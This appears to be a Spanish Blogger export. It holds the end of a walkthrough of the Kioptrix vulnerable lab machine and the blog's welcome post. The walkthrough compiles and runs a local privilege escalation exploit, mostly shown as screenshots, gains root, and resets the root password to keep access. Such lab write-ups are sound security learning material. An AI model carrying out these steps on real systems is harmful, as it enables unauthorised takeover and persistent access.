<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhazVsQCxQvpG2JREEyFEaJ2Vqim6JqVoU4BdgtHvC8EL1YLDlnYCBaKrdnzzeMAVhMxPZcYzzYrINYA-Z05D_Z5PDyN8VgFyvwnU09jNMIc0cUVgqBDMOh7dvhzwx7T5Ld7hfPk1L357E/s1600/25-05-2017+10-32-07.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="132" data-original-width="233" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhazVsQCxQvpG2JREEyFEaJ2Vqim6JqVoU4BdgtHvC8EL1YLDlnYCBaKrdnzzeMAVhMxPZcYzzYrINYA-Z05D_Z5PDyN8VgFyvwnU09jNMIc0cUVgqBDMOh7dvhzwx7T5Ld7hfPk1L357E/s1600/25-05-2017+10-32-07.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNW5RvCb7CKo9BKTmPN7-8ZFLcoCVy1TG1dOUE0eQ3pTacS4QRVvoCqoizoVOUkiPbHF4qLJorWFS_MCcy3GHH0jIj1MrK2O0PA21qUHjGXBWKqto6KsitL9VPVPJseei6nl3Vd2kNl00/s1600/25-05-2017+10-32-20.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="115" data-original-width="385" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNW5RvCb7CKo9BKTmPN7-8ZFLcoCVy1TG1dOUE0eQ3pTacS4QRVvoCqoizoVOUkiPbHF4qLJorWFS_MCcy3GHH0jIj1MrK2O0PA21qUHjGXBWKqto6KsitL9VPVPJseei6nl3Vd2kNl00/s1600/25-05-2017+10-32-20.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
Una vez descargado el exploit en la máquina objetivo tenemos que compilarlo<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBjFead50KawdiHDRWBvD61ucVz5d_cHwgvHqrucCwYUUx4WXAnpPApvk7hxgKz_yHEinmsphW2z28LcJ3m9jCDAhazpZOhp5RnpnA_tAZkJpNTF9-YkZqJzDuwyrlMXLvIogxAxZ2gZI/s1600/25-05-2017+10-32-37.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="91" data-original-width="322" height="90" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBjFead50KawdiHDRWBvD61ucVz5d_cHwgvHqrucCwYUUx4WXAnpPApvk7hxgKz_yHEinmsphW2z28LcJ3m9jCDAhazpZOhp5RnpnA_tAZkJpNTF9-YkZqJzDuwyrlMXLvIogxAxZ2gZI/s320/25-05-2017+10-32-37.png" width="320" /></a></div>
<br />
<br />
Y ahora a ejecutarlo! Pero parece que tenemos problemas de permisos<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDr29-o2eQ8B9VWpbDPtuOJKBwQBvX1Ii8u0IY0UgIugzRpeEHDrbPwzjaf9MYBN1qNVBhM4JYaU13rxQfCGC9-W8WFpVG-Nys8BFuZGzU18B3p0HPm3IM-wLvNQDXm_JN3iXLxpxrctM/s1600/25-05-2017+10-32-52.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="28" data-original-width="220" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDr29-o2eQ8B9VWpbDPtuOJKBwQBvX1Ii8u0IY0UgIugzRpeEHDrbPwzjaf9MYBN1qNVBhM4JYaU13rxQfCGC9-W8WFpVG-Nys8BFuZGzU18B3p0HPm3IM-wLvNQDXm_JN3iXLxpxrctM/s1600/25-05-2017+10-32-52.png" /></a></div>
<br />
<br />
Modificamos los permisos del ejecutable ya compilado con <b>CHMOD</b> y ahora <b>SI </b>nos deja ejecutarlo! <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZDf18qyjPDIyUX5zuV7-vpxbcLBzmvgf-EvlYktIQALGf6H9UucB-CsxqHw1EY7dggwI1Qaf2m1lHFXxIag8zSmG_NBN3bDLBKbIVMDtNX8NEH0WVVSHaki_VspwVe7JKBFH1ERfjg9A/s1600/25-05-2017+10-33-09.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="60" data-original-width="224" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZDf18qyjPDIyUX5zuV7-vpxbcLBzmvgf-EvlYktIQALGf6H9UucB-CsxqHw1EY7dggwI1Qaf2m1lHFXxIag8zSmG_NBN3bDLBKbIVMDtNX8NEH0WVVSHaki_VspwVe7JKBFH1ERfjg9A/s1600/25-05-2017+10-33-09.png" /></a></div>
<br />
<br />
Al ejecutarlo recibimos el mensaje “check ur id” de modo que, lo hacemos y... SORPRESA!!! Somos ROOT!!!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizR8kYMLFj9eCu9ZlV418lLXvDDjn0JLTdO2LONIna5eFbhmKPOnuJphczBM_pQ70E7cn-leK5nbML1R4xEOlBn7DWuL5VXt2BmudBNGTliN6CPy8gMIzfDn4D6bzVYuu4RTutQDEQevA/s1600/25-05-2017+10-33-26.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="58" data-original-width="352" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizR8kYMLFj9eCu9ZlV418lLXvDDjn0JLTdO2LONIna5eFbhmKPOnuJphczBM_pQ70E7cn-leK5nbML1R4xEOlBn7DWuL5VXt2BmudBNGTliN6CPy8gMIzfDn4D6bzVYuu4RTutQDEQevA/s1600/25-05-2017+10-33-26.png" /></a></div>
<br />
<br />
Cambiamos la clave del usuario root por la de <i>CPHE1234</i> y asi asegurarnos el acceso a la máquina cuando deseemos<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpGTeGnc7OMWAbV2no1MBUDFQEXIMzft80MRt4bWg_MrZyB5u0qdvOrix1qRZ33B_16Rlh36qCuz3uRjLqLeUb36E5ZR0ewT-gbt8EaXwNlBS58praLGbrC3E-FOO9g2ZvPx8YT30_df0/s1600/25-05-2017+10-33-39.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="88" data-original-width="355" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpGTeGnc7OMWAbV2no1MBUDFQEXIMzft80MRt4bWg_MrZyB5u0qdvOrix1qRZ33B_16Rlh36qCuz3uRjLqLeUb36E5ZR0ewT-gbt8EaXwNlBS58praLGbrC3E-FOO9g2ZvPx8YT30_df0/s1600/25-05-2017+10-33-39.png" /></a></div>
<br />
<br />
Iniciamos sesión con <i>root/CPHE1234</i> en la máquina Kioptrix<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpoxppZOQMUFhe0b2Tt6uKf58RHc9vKvNiq5VAE8EYprv5YUcYNNiXvUMHYzYCra4k1lFetsUOcrmgoIEHSNP_gCgS1EJOsuPnW2QbZUsT0D2ZuGyoTxiQ-qeXogYkT0DOenA5LbY908k/s1600/25-05-2017+10-33-52.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="257" data-original-width="463" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpoxppZOQMUFhe0b2Tt6uKf58RHc9vKvNiq5VAE8EYprv5YUcYNNiXvUMHYzYCra4k1lFetsUOcrmgoIEHSNP_gCgS1EJOsuPnW2QbZUsT0D2ZuGyoTxiQ-qeXogYkT0DOenA5LbY908k/s1600/25-05-2017+10-33-52.png" /></a></div>
<br />
<br />
<br />
<h2 style="text-align: center;">
<span style="color: red;">RETO SUPERADO!!!!!!!!!!!!!!!!!!</span></h2>
Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com1tag:blogger.com,1999:blog-7944950214559293430.post-88919862378855409262017-04-23T20:43:00.001+02:002017-06-09T10:44:44.252+02:00Ladies and gentlemen... start your engines!<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMhWvZNB5cCj5j7WyvZMExBdDPj9sPsOeKBU8I7oNijJTtsYNQOSAHpTqPdhFME8W2jdMgjkgSK5TtQ9LmGV0s0-jLCQf64OG25IE5mE4LHJF9iqv_EdqkFCS68gkOc-IqH5zlybCIQr4/s1600/IMG_1633.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="410" data-original-width="728" height="112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMhWvZNB5cCj5j7WyvZMExBdDPj9sPsOeKBU8I7oNijJTtsYNQOSAHpTqPdhFME8W2jdMgjkgSK5TtQ9LmGV0s0-jLCQf64OG25IE5mE4LHJF9iqv_EdqkFCS68gkOc-IqH5zlybCIQr4/s200/IMG_1633.JPG" width="200" /></a></div>
<br />
Hola a todos!<br />
<br />
Bienvenidos a mi humilde rincón, donde compartiré una mezcla de freakadas con las que trasteo en mi día a día!<br />
<br />
<a name='more'></a><br />
<br />
Este es un blog de carácter personal, sin ninguna intención profesional y cuya creación está impulsada y movida únicamente por mi pasión por las nuevas tecnologías y la computación. La finalidad de este espacio será compartir noticias de relacionadas, noticias de blog y webs amigas, algunas pruebas de concepto propias, walkthrough de máquinas vulnerables, etc... EMPEZAMOS!!!<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com0